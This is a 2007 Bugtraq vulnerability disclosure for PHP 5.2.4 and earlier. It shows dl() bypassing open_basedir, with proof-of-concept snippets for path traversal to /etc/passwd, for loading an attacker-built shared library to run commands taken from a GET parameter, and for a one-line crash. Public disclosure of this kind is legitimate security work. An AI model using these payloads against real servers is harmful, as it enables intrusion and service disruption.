bugtraq - PHP <=5.2.4 open_basedir bypass & code exec & denial of service

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Message-ID: <20070910023621.16204.qmail@securityfocus.com>
Date: 10 Sep 2007 02:36:21 -0000
From: laurent.gaffie@...il.com
To: bugtraq@...urityfocus.com
Subject: PHP <=5.2.4 open_basedir bypass & code exec & denial of service

Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: open_basedir bypass & code exec & denial of service/*some people call this as a buffer overflow , but it's a denial of service.*/
special condition: default php-memory-limit
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

open_basedir bypass & code exec & denial of service
http://ca.php.net/manual/fr/function.dl.php
=====
3)Proof of concept
=====
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/


Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("../../../../../../../../../../../../../../etc/passwd")
output --->
Warning: dl() [function.dl]: Unable to load dynamic library './../../../../../../../../../etc/passwd' - ./../../../../../../../../../etc/passwd: invalid ELF header in /usr/local/apache2/htdocs/3.php on line 2

ya right ... /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./../../../../../../../../../../../home/myuser/www//my_powning_lib/pwned.so");
$a = powningfunction($_GET['lets_exec_for_fun']);
print_r($a);
?>

denial of service :
debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#

========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

=====
5)Credits
=====

laurent gaffié
laurent.gaffié@gmail.com
secorizon coming soon !